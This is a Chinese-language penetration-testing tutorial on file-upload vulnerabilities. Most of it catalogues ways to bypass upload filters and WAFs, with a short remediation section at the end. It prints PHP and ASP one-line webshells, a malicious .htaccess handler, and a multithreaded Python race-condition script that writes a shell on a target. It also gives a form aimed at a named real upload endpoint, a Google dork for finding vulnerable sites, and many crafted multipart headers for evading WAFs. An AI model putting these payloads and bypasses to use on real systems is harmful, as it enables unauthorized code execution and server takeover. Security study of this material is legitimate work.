0x01 上傳漏洞定義
文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,並通過此腳本文件獲得了執行服務器端命令的能力。這種攻擊方式是最為直接和有效的,“文件上傳”本身沒有問題,有問題的是文件上傳后,服務器怎么處理、解釋文件。如果服務器的處理邏輯做的不夠安全,則會導致嚴重的后果.
0x02 上傳漏洞危害
1.上傳文件是Web腳本語言,服務器的Web容器解釋並執行了用戶上傳的腳本,導致代碼執行。
2.上傳文件是病毒或者木馬時,主要用於誘騙用戶或者管理員下載執行或者直接自動運行;
3.上傳文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在該域下的行為(其他通過類似方式控制策略文件的情況類似);
4.上傳文件是病毒、木馬文件,黑客用以誘騙用戶或者管理員下載執行。
5.上傳文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執行,被用於釣魚和欺詐。
除此之外,還有一些不常見的利用方法,比如將上傳文件作為一個入口,溢出服務器的后台處理程序,如圖片解析模塊;或者上傳一個合法的文本文件,其內容包含了PHP腳本,再通過"本地文件包含漏洞(Local File Include)"執行此腳本;等等。
0x03 上傳漏洞滿足條件
首先,上傳的文件能夠被Web容器解釋執行。所以文件上傳后所在的目錄要是Web容器所覆蓋到的路徑。
其次,用戶能夠從Web上訪問這個文件。如果文件上傳了,但用戶無法通過Web訪問,或者無法得到Web容器解釋這個腳本,那么也不能稱之為漏洞。
最后,用戶上傳的文件若被安全檢查、格式化、圖片壓縮等功能改變了內容,則也可能導致攻擊不成功。
0x04 上傳漏洞產生的原因
一些web應用程序中允許上傳圖片,文本或者其他資源到指定的位置,文件上傳漏洞就是利用這些可以上傳的地方將惡意代碼植入到服務器中,再通過url去訪問以執行代碼.
造成文件上傳漏洞的原因是:
1.服務器配置不當
2.開源編輯器上傳漏洞
3.本地文件上傳限制被繞過
4.過濾不嚴或被繞過
5.文件解析漏洞導致文件執行
6.文件路徑截斷
0x05 上傳漏洞的原理
大部分的網站和應用系統都有上傳功能,一些文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件后綴以及文件類型,導致允許攻擊者向某個可通過Web訪問的目錄上傳任意PHP文件,並能夠將這些文件傳遞給PHP解釋器,就可以在遠程服務器上執行任意PHP腳本。
當系統存在文件上傳漏洞時攻擊者可以將病毒,木馬,WebShell,其他惡意腳本或者是包含了腳本的圖片上傳到服務器,這些文件將對攻擊者后續攻擊提供便利。根據具體漏洞的差異,此處上傳的腳本可以是正常后綴的PHP,ASP以及JSP腳本,也可以是篡改后綴后的這幾類腳本。
0x06 上傳文件檢測流程
通常一個文件以HTTP協議進行上傳時,將以POST請求發送至Web服務器,Web服務器接收到請求並同意后,用戶與Web服務器將建立連接,並傳輸數據。一般文件上傳過程中將會經過如下幾個檢測步驟:
一般一個文件上傳過程中的檢測如下圖紅色標記部分:
- 客戶端javascript校驗(一般只校驗文件的擴展名)
- 服務端校驗
- 文件頭content-type字段校驗(image/gif)
- 文件內容頭校驗(GIF89a)
- 目錄路經檢測(檢測跟Path參數相關的內容)
- 文件擴展名檢測 (檢測跟文件 extension 相關的內容)
- 后綴名黑名單校驗
- 后綴名白名單校驗
- 自定義正則校驗
- WAF設備校驗(根據不同的WAF產品而定)
0x07 上傳漏洞繞過
1.客服端繞過
(1)客戶端校驗:
一般都是在網頁上寫一段javascript腳本,校驗上傳文件的后綴名,有白名單形式也有黑名單形式。判斷方式:在瀏覽加載文件,但還未點擊上傳按鈕時便彈出對話框,內容如:只允許上傳.jpg/.jpeg/.png后綴名的文件,而此時並沒有發送數據包
(2)繞過方法:
1.通過火狐插件NOscript插件或者禁用IE中JS腳本
2.通過firbug插件元素審核修改代碼(如刪除onsubm:t=”return checkFile()”事件)
3.通過firbug元素審核javascirpt腳本中添加上傳文件類型。
4.通過利用burp抓包改包,先上傳一個gif類型的木馬,然后通過burp將其改為asp/php/jsp后綴名即可
注意:這里修改文件名字后,請求頭中的Content-Length的值也要改
演示如下:
fidder進行抓包攔截,先上傳一句話圖片木馬如bd2.jpg,然后抓包攔截改成bd2.php
2.服務端繞過
(1)黑名單擴展名繞過
黑名單檢測:一般有個專門的 blacklist 文件,里面會包含常見的危險腳本文件。繞過方法:
(1)找黑名單擴展名的漏網之魚 - 比如 iis6.0中的asa 和 cer
(2)可能存在大小寫繞過漏洞 - 比如 aSp(iis6.0中可以) 和 pHp(只能在小於php5.3.39中的linux中) 之中
(3)能被WEB容器解析的文件其他擴展名列表:
jsp, jspx ,jspf
asp asa cer cdx,htr,xml,html
aspx,ashx,asmx,asax,ascx
演示:php中的大小寫解析只能在linux 環境才能執行:
這里不允許上傳php那么可以上傳大小寫Php
(2)黑名單特殊后綴名繞過(利用難度高)
將Burpsuite截獲的數據包中backlion.php名字改為baclion.php4(php1,php2,php3,php4,php5),前提條件是http.conf中設置 AddType application/x-httpd-php .php1(php的版本小於等於5.3.29以下)
(3)配合操作系統文件命名規則繞過
在windows系統下,如果文件名以“.”或者空格作為結尾,系統會自動刪除“.”與空格,利用此特性也可以繞過黑名單驗證。apache中可以利用點結尾和空格繞過,asp和aspx中可以用空格繞過
(a).上傳不符合windows文件命名規則的文件名, 會被windows系統自動去掉不符合規則符號后面的內容:
test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
(b). linux下后綴名大小寫
在linux下,如果上傳php不被解析,可以試試上傳pHp后綴的文件名(前提條件是php版本小於等於5.3.29版本)
(4)單雙重后綴名繞過
上傳時將Burpsuite截的數據包中文件名backlion.php(backlion.asa)改為backlion.pphphph(backlion.asasaa),那么過濾了第一個"php"字符串"后,開頭的'p'和結尾的'hp'就組合又形成了php
(5)服務端MIME文件類型(Content-Type)繞過
MIME的作用:
使客戶端軟件,區分不同種類的數據,例如web瀏覽器就是通過MIME類型來判斷文件是GIF圖片,還是可打印的PostScript文件。web服務器使用MIME來說明發送數據的種類, web客戶端使用MIME來說明希望接收到的數據種類,它是服務器用來判斷瀏覽器傳遞文件格式的重要標記項。
常用的文件上傳類型的MIME表:
text/plain(純文本)
text/html(HTML文檔)
text/javascript(js代碼)
application/xhtml+xml(XHTML文檔)
image/gif(GIF圖像)
image/jpeg(JPEG圖像)
image/png(PNG圖像)
video/mpeg(MPEG動畫)
application/octet-stream(二進制數據)
application/pdf(PDF文檔)
application/(編程語言) 該種語言的代碼
application/msword(Microsoft Word文件)
message/rfc822(RFC 822形式)
multipart/alternative(HTML郵件的HTML形式和純文本形式,相同內容使用不同形式表示)
application/x-www-form-urlencoded(POST方法提交的表單)
multipart/form-data(POST提交時伴隨文件上傳的表單)
繞過方法:
上傳對文件類型做了限制,可通過burpsuit將其他類文件類型修改為如:Content-Type:image/gif和image/jpeg等運行的文件類型
(6)配合文件包含漏洞繞過
繞過方式一:運行上傳文件包含腳本木馬和一句話內容馬
前提:校驗規則只校驗當文件后綴名為asp/php/jsp的文件內容是否為木馬。
(a)先上傳一個內容為木馬的txt后綴文件,因為后綴名的關系沒有檢驗內容;
(b)然后再上傳一個.php的文件,內容為<?php Include(“上傳的txt文件路徑”);?>
此時,這個php文件就會去引用txt文件的內容,從而繞過校驗,下面列舉包含的語法:
PHP
<?php Include("上傳的txt文件路徑");?>
ASP
<!--#include file="上傳的txt文件路徑" -->
JSP
<jsp:inclde page="上傳的txt文件路徑"/>
or
<%@include file="上傳的txt文件路徑"%>
方式二:存在本地文件包含漏洞,並可上傳一句話內容馬
上傳一個符合條件格式的文檔,文檔內容為一句話木馬,eg:test.txt
利用文件包含漏洞包含上傳的木馬文件,eg:page?id=D:/www/test.txt
(7)修改 url 的參數繞過
谷歌關鍵字:inurl:newslist.asp?NodeCode=
將/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath中的參數uptext的值改為form1.PicPath.asp即可繞過。
可以看出對參數 PicPath 進行了修改,這種漏洞主要是存在文件名或者路徑過濾不嚴,在實戰中多多觀察 url 中的參數,可以嘗試進行修改數據
(8)雙重文件上傳繞過
通過保存以下代碼為1.html修改上傳:
<form action="http://edu2b.sinaapp.com/Upfile_AdPic.asp" method="post"
name="form1" enctype="multipart/form‐data">
<input name="FileName1" type="FILE" class="tx1" size="40">
<input name="FileName2" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上傳">
</form>
//在第一個框內選擇一個 jpg 圖片,文件名為“yueyan.jpg”,在第
二個框內選擇一個 cer 文件,文件名為“yueyan.cer”,點“上傳”把這兩個文件提交給程序即可。
3.白名單繞過:
(1)配合Web容器的解析漏洞:
IIS中的目錄解析漏洞和分號解析漏洞: 將一句話木馬的文件名backlion.php,改成backlion.php.abc(奇怪的不被解析的后綴名都 行)。首先,服務器驗證文件擴展名的時候,驗證的是.abc,只要該擴展名符合服務器端黑白名單規則,即可上傳。
nginx空字節漏洞 xxx.jpg%00.php 這樣的文件名會被解析為php代碼運行
apache的解析漏洞,上傳如a.php.rar a.php.gif 類型的文件名,可以避免對於php文件的過濾機制,但是由於apache在解析文件名的時候是從右向左讀,如果遇到不能識別的擴展名則跳過,rar等擴展名是apache不能識別的,因此就會直接將類型識別為php,從而達到了注入php代碼的目的
(2)%00截斷上傳繞過
通過抓包截斷將backlion.asp.jpg后面的一個.換成%00在上傳的時候即backlion.asp%00.jpg,當文件系統讀到%00時,會認為文件已經結束,從而將backlion.asp.jpg的內容寫入到backlion.asp中,從而達到攻擊的目的。%00不是針對所有基於白名單的后綴名檢查都能繞過,代碼的實現過程中必須存在截斷上傳漏洞,上傳格式如下:
bk.asp %00.jpg
路徑/updata/bk.asp(0x00).jpg
(4)突破文件路徑繞過
在文件上傳時,程序通常允許用戶將文件放到指定的目錄中,如果指定的目錄存在,就將文件寫入目錄中,不存在的話則先建立目錄,然后寫入。比如:在前端的HTML代碼中,有一個隱藏標簽<input type="hidden" name="Extension" value="up"/> 在服務器端有如下代碼 if(!is_dir($Extension)){ //如果文件夾不存在,就建立文件夾
mkdir($Extension);
}
攻擊者可以利用工具將表單中value的值由“up”改為“pentest.asp”,並上傳一句話圖片木馬文件。程序在接收到文件后,對目錄判斷,如果服務器不存在pentest.asp目錄,將會建立此目錄,然后再將圖片一句話密碼文件寫入pentest.asp目錄,如果Web容器為IIS 6.0,那么網頁木馬會被解析
以下目錄位置修改繞過幾種形式:
upload/1.asp%00.jpg #asp中的修改目錄位置%00的攔截
bk.jpg #post提交一句話圖片馬或者其他白名單為一句話木馬
------->upload/1.asp%00.jpg/bk.jpg #最終生成的文件訪問路徑
--------------------------------------------------------------------------
upload/bk.asp/ # windows2003 iis6.0中目錄路徑后添加一個bk.asp的目錄
bk.jpg #post上傳的文件類型為一句話圖片馬
----->upload/bk.asp/aaabbk.jpg #最終的URL訪問路徑
----------------------------------------------------------------------------
upload/bk.asp; # windows2003 iis6.0中目錄路徑后添加一個bk.asp;的目錄
bk.jpg #post上傳的文件類型將bk.jpg一句話圖片馬
----->upload/bk.asp;14127900008.asp ##最終的URL訪問路徑
這里以動網6.0為例,先上傳一個正常的圖片,會生成如:files/201210010321944973.jpg文件。第一種突破方法:先上傳一句話圖片馬如1.jpg,然后攔截將其 FilePath 值改為“files/backlion.asp□
最終生成:“files/backlion.asp□/201210010321944973.jpg,實際就是files/backlion.asp
第二種突破:先上傳一句話圖片馬如1.jpg,然后攔截將其 FilePath 值改為“backlion.asp;最終生成:“backlion.asp;201210010321944973.jpg
(5).htaccess 文件重寫繞過
配合黑名單列表繞過,上傳一個自定義的.htaccess和一句話圖片木馬,就可以輕松繞過各種檢測,該文件僅在Apache平台上存在,.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平台上不存在該文件,該文件默認開啟,啟用和關閉在httpd.conf文件中配置。
.htaccess 文件的寫法:
<FilesMatch "backlion.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
保存為.htaccess文件。該文件的意思是,只要遇到文件名中包含有” backlion.jpg”字符串的任意文件,統一被當作php執行。如果這個” backlion.jpg”的內容是一句話木馬,即可利用中國菜刀進行連接
前提條件是:大於等於php版本5.3.39以下
(6)文件頭內容檢測繞過
文件頭簡介
不同的圖片文件都有不同文件頭,如:
PNG: 文件頭標識 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG: 文件頭標識 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件標識)
GIF: 文件頭標識 (6 bytes) 47 49 46 38 39(37) 61
上傳文件的時候會檢查上傳文件是否合法,如圖片文件是否文件頭含有gif89,這里可以通過一句話圖片木馬生成工具edjpgcom或者通過編輯器 在木馬內容基礎上再加了一些文件信息,有點像下面的結構:
GIF89a
<?php phpinfo(); ?>
如果是其他類型的二進制文件,也有響應的頭字節,如下表:
格式 |
文件頭 |
TIFF (tif) |
49492A00 |
Windows Bitmap (bmp) |
424D |
CAD (dwg) |
41433130 |
Adobe Photoshop (psd) |
38425053 |
Rich Text Format (rtf) |
7B5C727466 |
MS Word/Excel (xls.or.doc) |
D0CF11E0 |
MS Access (mdb) |
5374616E64617264204A |
ZIP Archive (zip), |
504B0304 |
RAR Archive (rar), |
52617221 |
Wave (wav), |
57415645 |
AVI (avi), |
41564920 |
Real Media (rm), |
2E524D46 |
MPEG (mpg), |
000001BA |
MPEG (mpg), |
000001B3 |
Quicktime (mov), |
6D6F6F76 |
Adobe Acrobat (pdf), |
255044462D312E |
Windows Media (asf), |
3026B2758E66CF11 |
MIDI (mid), |
4D546864 |
4.條件競爭上傳繞過
演示代碼:
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>
首先將文件上傳到服務器,然后檢測文件后綴名,如果不符合條件,就刪掉,我們的利用思路是這樣的,首先上傳一個php文件,內容為:
bk.php:
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["drops"]) ?>'); ?>
當然這個文件會被立馬刪掉,所以我們使用多線程並發的訪問上傳的文件,總會有一次在上傳文件到刪除文件這個時間段內訪問到上傳的php文件,一旦我們成功訪問到了上傳的文件,那么它就會向服務器寫一個shell。利用代碼如下:
import os
import requests
import threading
class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = " http://10.0.0.56 /bk.php"
self.uploadUrl = " http://10.0.0.56/index.html"
def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)
def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)
def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()
if __name__ == "__main__":
threads = 20
for i in range(threads):
t = RaceCondition()
t.start()
for i in range(threads):
t.join()
經過幾次嘗試后成功成功寫入shell
5.CMS、編輯器漏洞繞過
CMS漏洞:針對不同CMS存在的上傳漏洞進行繞過。
編輯器漏洞:比如FCK,Ewebeditor等,可以針對編輯器的漏洞進行繞過。
6.對渲染/加載測試攻擊內容檢查繞過繞過
通過向圖片中加入代碼注入,這里一般為 一句話圖片木馬,可能正常訪問圖片
0x08 帶waf的文件上傳繞過
1.上傳文件WAF檢查的位置
文件名:解析文件名,判斷是否在黑名單內。
文件內容:解析文件內容,判斷是否為webshell
文件目錄權限
請求的url
Boundary邊界
MIME文件類型
目前,市面上常見的是解析文件名,少數WAF是解析文件內容,比如長亭。
2.文件上傳存在的上傳特征
http請求Header頭部中的Content-Type存在以下特征:
multipart/form-data:表示該請求是一個文件上傳請求
存在boundary字符串:作用為分隔符,以區分POST數據
POST的內容存在以下特征:
Content-Disposition
name
filename
POST中的boundary的值就是Content-Type的值在最前面加了兩個--,除了最后
標識結束的boundary
最后標識結束的boundary最后默認會多出兩個--(測試時,最后一行的
boundary刪掉也能成功上傳)
3.繞過WAF文件上傳的方法
(1)填充垃圾數據繞過
有些主機WAF軟件為了不影響web服務器的性能,會對校驗的用戶數據設置大小上限,比如1M。此種情況可以構造一個大文件,前面1M的內容為垃圾內容,后面才是真正的木馬內容,便可以繞過WAF對文件內容的校驗;'
Content-Type類型數據后添加垃圾數據:
Content-Type: image/jpeg
a=11111111111111111111111111111111111111111111111111111111
GIF89a
<?php
phpinfo();
?>
當然也可以將垃圾數據放在數據包最開頭,這樣便可以繞過對文件名的校驗。
------WebKitFormBoundaryYijPw9QB0WlswSL2
a=11111111111111111111111111111111111111111111111111111111111111111111111111
Content-Disposition: form-data; name="file_x"; filename="bk.jpg"
Content-Type: image/jpeg
Content-Disposition:后添加垃圾數據:
可以將垃圾數據加到Content-Disposition參數后面,參數內容過長,可能會導致waf檢測出錯。
Content-Disposition:a=11111111111111111111111111111111111111111111111111111 form-data; name="upfile"; filename="bk.jpg"
(2)filename繞過
添加一個finame參數:
針對早期版本安全狗,可以多加一個filename
在一個Content-Disposition 中,存在多個filename ,協議解析應該使用最后的filename值作為文件名。如果WAF解析到filename="bk.jpg"認為解析到文件名,結束解析,將導致被繞過。因為后端容器解析到的文件名是bk.asp
Content-Disposition: form-data; name="file1";
finame="bk.jpg";filename="bk.asp"
調換filename的位置(filename在content-type下面):
規定Content-Disposition必須在最前面,所以只能交換name和filename的順序。有的WAF可能會匹配name在前面,filename在后面
將Content-Disposition: form-data; name="file1"; filename= "bk.php"改為:
Content-Disposition: form-data; filename= "bk.php";name=file1
在filename=后面添加空格,截止到2017年10月04日還能繞過某盾WAF:
Content-Disposition: form-data; name="file1"; filename= "bk.php"
form-data字段與name字段交換位置:
Content-Disposition: name="file1";form-data;filename= "bk.php"
(3)POST/GET的更改方法繞過
有些WAF的規則是:如果數據包為POST類型,則校驗數據包內容。
此種情況可以上傳一個POST型的數據包,抓包將POST改為GET
(4)刪除實體里面的Conten-Type字段繞過
第一種刪除Content整行:
Content-Disposition: form-data; name="upfile"; filename="bk.php"
第二種刪除C后面的字符:
刪除掉ontent-Type: image/jpeg只留下c,將.php加c后面即可,但是要注意額,雙引號要跟着c.php。
正常包:
Content-Disposition: form-data; name="upfile"; filename="bk.jpg"
Content-Type: image/jpeg
構造包:
Content-Disposition: form-data; name="upfile"; filename="bk.jpg C.php"
(5)刪除Content-Disposition字段里的空格繞過
Content-Disposition:form-data; name="upfile"; filename="bk.php"
Content-Type: image/jpeg
(6)增加一個空格繞過安全狗(Win2k3 + IIS6.0 + ASP)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI8GYlViOBTBCYZA3
嘗試在boundary后面加個空格或者其他可被正常處理的字符:
Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryI8GYlViOBTBCYZA3
(7)修改Content-Disposition字段值的大小寫繞過
對這三個固定的字符串進行大小寫轉換:Content-Disposition,name,filename
比如name轉換成Name,Content-Disposition轉換成content-disposition。兩年前,拿它繞過安全狗的上傳,不知道現在如何。
Content-Disposition: form-data; name="upfile"; filename="bk.php"
改成
Content-Disposition: form-data; nAme="upfile"; filename="bk.php"
(8)Boundary邊界不一致( win2003+iis6.0+asp)繞過
但如果容器在處理的過程中並沒有嚴格要求一致的話可能會導致一個問題,兩段Boundary不一致使得waf認為這段數據是無意義的,可是容器並沒有那么嚴謹:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryI8GYlViOBTAAAAA3
Content-Length: 253
----------------------------- WebKitFormBoundaryI8GYlViOBTBCYZA3
Content-Disposition: form-data; name="file1"; filename="bk.asp"
Content-Type: application/octet-stream
<%eval request("cmd")%>
----------------------------- WebKitFormBoundaryI8GYlViOBTBCYZA3
(9)文件擴展名出回車繞過(只支持php)
Content-Disposition: form-data; nAme="upfile"; filename="bk.ph
p"
Content-Type: image/jpeg
或者
Content-Disposition: form-data; nAme="upfile"; file
name="bk.ph
p"
Content-Type: image/jpeg
又或者
Content-Disposition: form-data; nAme="upfile"; fi
lename="bk.php"
Content-Type: image/jpeg
(10)多個Content-Disposition(Win2k8 + IIS7.0 + PHP)繞過
在IIS的環境下,上傳文件時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數,許多WAF只檢查第一個上傳文件,沒有檢查上傳的所有文件,而實際后端容器會解析所有上傳的文件名,攻擊者只需把paylaod放在后面的文件PART,即可繞過
Content-Disposition: form-data; name="file1"; filename="bk.php"
Content-Disposition: form-data; name="file1"; filename="bk.jpg"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
或者這樣:
Content-Disposition: form-data; name="file";filename="shell.jpg"
Content-Type: image/jpg
<?php eval($_GET['c'])?>
------WebKitFormBoundaryx7V4AhipWn8ig52y
Content-Disposition: form-data; name="file";filename="shell.php"
Content-Type: application/octet-stream
<?php eval($_GET['c'])?>
(11)利用NTFS ADS特性繞過
ADS是NTFS磁盤格式的一個特性,用於NTFS交換數據流。在上傳文件時,如果waf對請求正文的filename匹配不當的話可能會導致繞過。以下擴展名可能繞過WAF:
(12)文件重命名繞過
如果web程序會將filename除了擴展名的那段重命名的話,那么還可以構造更多的點、符號等等。
Content-Disposition: form-data; name="file1"; filename="bk................................................................................................................................................................................................................................asp"大概幾百個點
(13)特殊的長文件名繞過
文件名使用非字母數字,比如中文等最大程度的拉長,不行的話再結合一下其他的特性進行測試:
Content-Disposition: form-data; name="file1"; filename="bk.asp;媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼媼.jpg"
Content-Type: image/jpeg
(14)反刪除繞過
將下圖file1改成了file4,這樣就不會把這個文件刪除了。(JCMS漏洞)
Content-Disposition: form-data; name="file4"; filename="bk.asp"
(15)Windows特殊字符(Win2k8 + IIS7.0 + PHP)
當我們上傳一個文件的filename為shell.php{%80-%99}時可繞過WAF:
Content-Disposition: form-data; name="file1"; filename="bk.php{%80-%99}"(asp和php都支持)
(16)exee擴展名繞過
上傳.exe文件通常會被waf攔截,如果使用各種特性無用的話,那么可以把擴展名改為.exee再進行上傳。
Content-Disposition: form-data; name="file4"; filename="bk.exee"
(17)去掉引號繞過
將Content-Disposition: form-data; name="upfile"; filename="bk.jp值改為:
Content-Disposition: form-data; name=upfile; filename="bk.php" #name值雙引號去掉
Content-Disposition: form-data; name=upfile; filename=bk.php
#name和filename的值雙引號去掉
Content-Disposition: form-data; name="upfile"; filename=bk.php
#finame的值雙引號去掉
雙引號變成單引號:
將Content-Disposition: form-data; name="upfile"; filename="bk.jp值改為:
Content-Disposition: form-data; name='upfile'; filename='bk.php'
(18)刪除Content-Disposition值的form-data繞過
有的WAF在解析的時候,認為Content-Disposition值一定是form-data,造成繞過。兩年前,拿它繞過安全狗的上傳,不知道現在如何。
Content-Disposition: form-data; name="file1"; filename= "bk.php"改為:
Content-Disposition: name="file1"; filename= "bk.php"
(19)多個分號繞過
當WAF遇到name="myfile";;時,認為沒有解析到filename。而后端容器繼續解析到的文件名是bk.php,導致WAF被繞過。
將Content-Disposition: form-data; name="upfile"; filename="bk.php "
Content-Disposition: form-data; name="upfile";;; filename="bk.php "
(20)在boundary前添加任意字符(只支持php)
將Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
改為:
Content-Type: multipart/form-data; bypasssboundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
(21)name和filename添加任意字符串(長度大於等於508)
將Content-Disposition: form-data; name="file"; filename="bk.jpg"
改為:
Content-Disposition:form-data;name="file";_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_www.backlioncom_......;filename="backlion.php"
Content-Type: image/png
<?php phpinfo();?>
(22)head頭的content-type:tab繞過
將
Content-Type:multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
改成:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
(23)head頭的content-type: multipart/form-data改成大寫繞過
將Content-Type:multipart/form-data;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
改成:
Content-Type:multipart/form-DATA;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
(24)head頭的Content-Type: multipart/form-data;\n繞過
將
Content-Type:multipart/form-data;boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
改成(multipart/form-data;\n):
Content-Type:multipart/form-data;
boundary=----WebKitFormBoundarypKBgEbdwBv4vsVTU
(25)content-disposition:\n繞過
將Content-Disposition: form-data; name="upfile"; filename="bk.jpg"
改成(Content-Disposition: \n):
Content-Disposition:
form-data; name="upfile"; filename="bk.jpg"
或者nam=\n:
Content-Disposition: form-data; name=
"upfile"; filename="bk.jpg"
(26)特殊擴展名繞過
multipart協議中,文件名的形式為filename="bk.php”。但是Tomcat、PHP等容器解析協議時會做一些兼容,能正確解析 filename="bk.php”,filename=abc.php”, filename='abc.php’而WAF只按照協議標准去解析,無法解析文件名,但是后端容器能正確獲得文件名,從而導致被繞過。
將Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php"
改成(bk.jpg.\nphp):
Content-Disposition: form-data; name="upfile"; filename="bk.jpg.
php"
嘗試長文件名:
將Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php"
改成:
Content-Disposition: form-data; name="upfile"; filename="bkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk.php"
文件名中插入特殊符號:分號 空格 單引號
將Content-Disposition: form-data; name="upfile"; filename="bk.jpg.php"
分別改成:
Content-Disposition: form-data; name="upfile"; filename="ba;cklion.php"
Content-Disposition: form-data; name="upfile"; filename="ba cklion.php"
Content-Disposition: form-data; name="upfile"; filename="ba'cklion.php"
(27)ASCII > 127的字符
將Content-Disposition: form-data; name="file_x"; filename="bk.asp; jpg"
Content-Type: image/jpeg
將%00的ascii的20改成af即可
(28)程序與服務器之間的差異
將Content-Disposition: form-data; name="file_x"; filename="bk.jpg"
改為:
Content-Disposition: form-data2222222; name="file_x"; filename=bk.jpg
(29)利用協議解析不一致繞過
將Content-Disposition: form-data; name="file_x"; filename="bk.jpg"
改為:
Content-Disposition: form-data; name="file"; filename="bk.jpg
sf/shell.php #這里是回車換行
Content-Disposition: form-data; name="file"; filename='test3.jpg
sf/shell.php #這里是回車換行
0x09 漏洞修復
服務器配置不當:
重新配置好服務器。服務器PUT方法配置不當可參見HTTP請求方法(PUT)
開源編輯器上傳漏洞:
若新版編輯器已修復漏洞,請更新編輯器版本。
本地文件上傳限制被繞過:
在服務器后端對上傳的文件進行過濾。
文件解析漏洞導致文件執行:
文件解析漏洞的修復可參考文件上傳。
設置文件上傳的目錄設置為不可執行
只要web容器無法解析該目錄下面的文件,即使攻擊者上傳了腳本文件,服務器本身也不會受到影響,因此這一點至關重要。
判斷文件類型
在判斷文件類型時,可以結合使用MIME Type、后綴檢查等方式。在文件類型檢查中,強烈推薦白名單方式,黑名單的方式已經無數次被證明是不可靠的。此外,對於圖片的處理,可以使用壓縮函數或者resize函數,在處理圖片的同時破壞圖片中可能包含的HTML代碼。
使用隨機數改寫文件名和文件路徑
文件上傳如果要執行代碼,則需要用戶能夠訪問到這個文件。在某些環境中,用戶能上傳,但不能訪問。如果應用了隨機數改寫了文件名和路徑,將極大地增加攻擊的成本。再來就是像shell.php.rar.rar和crossdomain.xml這種文件,都將因為重命名而無法攻擊。
單獨設置文件服務器的域名
由於瀏覽器同源策略的關系,一系列客戶端攻擊將失效,比如上傳crossdomain.xml、上傳包含Javascript的XSS利用等問題將得到解決